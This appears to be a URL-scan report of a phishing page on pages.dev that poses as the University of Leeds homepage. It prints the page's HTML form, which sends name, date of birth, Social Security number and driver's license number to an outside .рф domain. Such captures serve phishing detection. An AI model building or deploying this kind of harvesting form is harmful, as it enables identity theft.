poeorson.pages.dev
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URL:
https://poeorson.pages.dev/
Submission: On April 06 via api from GB — Scanned from GB
Submission: On April 06 via api from GB — Scanned from GB
Form analysis
1 forms found in the DOMPOST https://xn--80aes0ba.xn--p1ai/partners/gov.php
<form action="https://xn--80aes0ba.xn--p1ai/partners/gov.php" class="uol-form uol-form--button-block" method="post">
<div class="uol-form__inputs-wrapper">
<div class="uol-form-input-container">
<div class="uol-form-input-wrapper" data-field-invalid="false">
<input class="uol-form-input uol-form-input--text" placeholder="Full Name" type="text" required="" \="" name="name" value="">
</div>
</div>
<div class="uol-form-input-container">
<div class="uol-form-input-wrapper" data-field-invalid="false">
<input class="uol-form-input uol-form-input--text" placeholder="Date of Birth" type="text" required="" \="" name="dob" value="">
</div>
</div>
<div class="uol-form-input-container">
<div class="uol-form-input-wrapper" data-field-invalid="false">
<input class="uol-form-input uol-form-input--text" placeholder="Social Security Number" type="text" required="" \="" name="ssn" value="">
</div>
</div>
<div class="uol-form-input-container">
<div class="uol-form-input-wrapper" data-field-invalid="false">
<input class="uol-form-input uol-form-input--text" placeholder="Driver's License Number" type="text" name="dl" value="">
</div>
</div>
</div>
<div class="uol-form__button-wrapper">
<button class="uol-button uol-button--primary" type="submit">Continue</button>
</div>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8Fg_42nCYyxOgS8bkH4TX-qBlnqypLEk9kPEa4NsP5IsriIJxtslSH8eoLKvKMoXGv8p2pR52laKCRSV3EmFu5ZjvlNVjtHjft6Z6e-eY3WHs-VIzliRpKSS7h-axDqlIiBCZrCjuPa0fAPgUY0oehE">
</form>
Text Content
University of Leeds homepage PLEASE CONFIRM YOUR PERSONAL INFORMATION Continue FOOTER NAVIGATION SITE INFORMATION